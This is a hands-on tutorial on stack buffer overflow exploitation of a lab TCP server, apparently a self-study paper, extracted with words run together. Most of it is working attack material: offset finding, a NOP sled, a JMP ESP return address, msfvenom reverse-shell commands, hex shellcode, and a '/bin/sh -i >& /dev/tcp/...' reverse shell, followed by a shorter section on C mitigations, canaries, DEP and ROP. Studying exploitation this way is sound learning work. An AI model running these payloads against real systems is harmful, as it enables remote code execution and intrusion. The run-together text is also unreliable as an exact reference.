python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
Anotherwaytomitigatestrcpyissuethatcomesupinblogsandowaspisstrncpywhichcanpreventbufferoverflows
FixedCode(SOURCE)
enumBUFFER_BOUNDARY_SIZE=1024
charstr1[BUFFER_BOUNDARY_SIZE]
charstr2[]=badstuffhere
strncpy(str1str2BUFFER_BOUNDARY_SIZE)limitsthenumberofcharacterstobecopiedtofizedlengthofbuffersize
strcat
YoumayalsoseetheuseofstrcatinsteadofstrncatstrcatdoesnotnativelysupportsettinganNlimitontheargumentpassedinto
thebufferAppendsthefirstnumcharactersofsourcetodestinationplusaterminatingnull-characterIfthelengthoftheCstringin
sourceislessthannumonlythecontentuptotheterminatingnull-characteriscopied
FixedCode(SOURCE)
defineBUFFER_BOUNDARY_SIZE1024
charbuff[BUFFER_BOUNDARY_SIZE]
Usesecurestrncpythenuse
strlcpy(buffString1BUFFER_BOUNDARY_SIZE-1)
buff[BUFFER_BOUNDARY_SIZE-1]=0
strncat(buffString2BUFFER_BOUNDARY_SIZE-strlen(buff)-1)
strcmp
ComparestheCstringstr1totheCstringstr2ThisfunctionstartscomparingthefirstcharacterofeachstringIftheyareequaltoeach
otheritcontinueswiththefollowingpairsuntilthecharactersdifferoruntilaterminatingnull-characterisreachedStrcmpdoesnot
validatethesizeoftheinputagainstthepredefinedbuffer
OtherMitigationstoBufferOverflows
During this tutorial I asked you to disable a few protections so we can perform a basic overflow PoC For example you had disable
ASLR in Linux using the procsyskernelrandomize_va_space interface You may have noticed the compiled C binaries needed the
following arguments -fno-stack-protector and -z execstac passed at compile time to remove C memory protections Modern exploits
need to bypass these advanced mechanisms so therersquos an entirely new rabbit hole Irsquoll only cover a few very broad areas here for my
own interest and to set myself up for further PoCrsquos and papers in the journey ahead The following should be just enough for the
newcomertodiptheirtoesintothesubjects
Canary
A less useful protections involves a method called a stack canary protections A stack canary work by modifying every functions
prologue and epilogue regions to assign a special ldquoCanaryrdquo character and check if the canary value is on the stack If not the canary
ldquosingsrdquo to warn you lol An example is The Stack Smashing Protector (SSP) compiler feature which according to their website helps
detect stack buffer overrun by aborting if a secret value on the stack is changed SSP even admits that if an attacker can properly
overwriteorjumpacanaryinstructionitispossibletobypasstheprotectionHereareafewresourcesIrsquovestartedwith
https0x00secorgtexploit-mitigation-techniques-stack-canaries5085
httpswwwrapid7comresourcesstructured-exception-handler-overwrite-explained
httpswwwexploit-dbcomdocsenglish17505-structured-exception-handler-exploitationpdf
DEP-DataExecutionProtection
DEP or executable-space protection specifically flags some memory regions as non-executable The intent is that when malware
executes the machine code in the protected regions it will cause an execution exception Flagging the memory regions and registers as
non-executablemeanstheattackerscodecannotberunUltimatelythismakesithardertoachieveofbufferoverruns
For example according the Linux man page on execstack ldquoexecstack is a program which sets clears or queries executable stack flag
of ELF binaries and shared librariesrdquo Another note your compiled binaries could be flagged with a no execution bit (NX) while other
linked libraries may still have executable stacks This is where problems arise -fno-stack-protectactor disables stack overflow
security checks for certain (or all) routines When option -fstack-protector-strong is specified it enables stack overflow security checks
forroutineswithanytypeofbuffer
In modern Windows software DEP is configured at system boot via a policy setting in the boot configuration data An application can get
the current policy setting by calling the GetSystemDEPPolicy function Hardware DEP is typically enabled by default in at the
bootloader but can be disabled with physical access Depending on the policy setting an User-Land application can change the DEP
setting for the current process by calling the SetProcessDEPPolicy function Allowing user-land changes is where developers may
introduceunprotectedcompiledbinariesThefollowinglinksareexamplesofhowtoimplementDEP
httpslwnnetArticles422487
httpslinuxdienetman8execstack
httpssupportmicrosoftcomen-ushelp875352a-detailed-description-of-the-data-execution-prevention-dep-feature-in
httpssupportmicrosoftcomen-ushelp912923how-to-determine-that-hardware-dep-is-available-and-configured-on-your
httpsdocsmicrosoftcomen-uswindows-hardwaredriversdevtestboot-parameters-to-configure-dep-and-pae
BypassingDEP
Bypassing DEP and NX requires a method called Return-Oriented Programming My first introduction to this concept was thanks to
David Maloney Sr Security Researcher at Rapid7 who had a great youtube video online that covered the concept at 1000 feet view
ThevideofirstmentionsamethoddevelopedgoingtoreturntolibcandthendiscussesReturnObjectProgrammingorROPchaining
So if stack execution is enabled wersquod expect that an attempt to execute from the stack will result in a terminated process and the cpu
will throw a segmentation fault In the return to lib C method instead of overwriting EIP with a JUMP ESP instruction like this PoC you
overwritetheInstructionPointerwithfunctionsfromwithinlibclibrary
arguments Another thing I learned is that libC is not required however it is just the most likely available and most common target in
linux In a libC example I found it was as simple as finding the memory location for system() and calling binbash which was executable
in memory As a counter defense some folks remove functions from libraries that can result in this type of chained execution Another
option which does not rely on calls to external executable functions is Return Object Programming or ROP chaining As mentioned in
the video your exploit must make use of instruction sequences available in the program yoursquore attacking or libraries linked to the
application aka ldquorop gadgetsrdquo When reading about ROP gadget I came across a line that explained there are intended sequences of
instructions and unintended sequences of instructions Hmmmmm why Because misspelling copy and pasting code hellip nope
somethingmoretrvialIrsquollre-usethisquotebecauseitwasafunpuzzle
ldquoWhat Unintended how come well if you look at a sentence like ldquothe articlerdquo the writer intended to say ldquothe articlerdquo but he didnrsquot
intendtohavethewordldquoheartrdquodidherdquo
Basically the instructions wersquore looking for end in RET aka ldquoReturnrdquo You chain a bunch of these assembly instructions together in your
payload until you get a command that can perform similar execution to the malware we used in our simple PoC You can find ROP
gadgets with the following in Immunity Debugger mona rop -m dll -cp nonull or in linux you can try simple text search for RET
instructionorROPgadgetToolonGithHuborVNsecuritycalledROPemeandorprocpidmaps
An example used in a linked exploit-db article is chaining a bunch of ROP gadgets together to basically execute
ldquoexecve(ldquobinshrdquo00)rdquo Execve executes the program pointed to by filename filename must be either a binary executable or a script
which in our case would be something like a variable equal to our reverse shell command binsh -i gtamp devtcp1270014444 0gtamp1
But when Windows or Linux has ASLR enabled libraries those binaries will have a randomized virtual memory space so it makes it
difficulttocallexecve()orsystem()
Another technique to bypass DEP makes use of native API that can change the execution flag on your memory spaces Examples Irsquove
found include VirtualAlloc HeapCreateVirtualProtect APIs If you can call upon these functions then you may be able to either create
a new executable space or change the flag for existing executable space However finding the memory addresses to these functions
andcallingthemappearstobeadifferentstory
httpsgithubcomJonathanSalwanROPgadget
httpswwwrapid7comresourcesrop-exploit-explained
httpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdf
httpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdf
httpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programmi
ng-chains]pdf
ASLR(Addressspacelayoutrandomization)
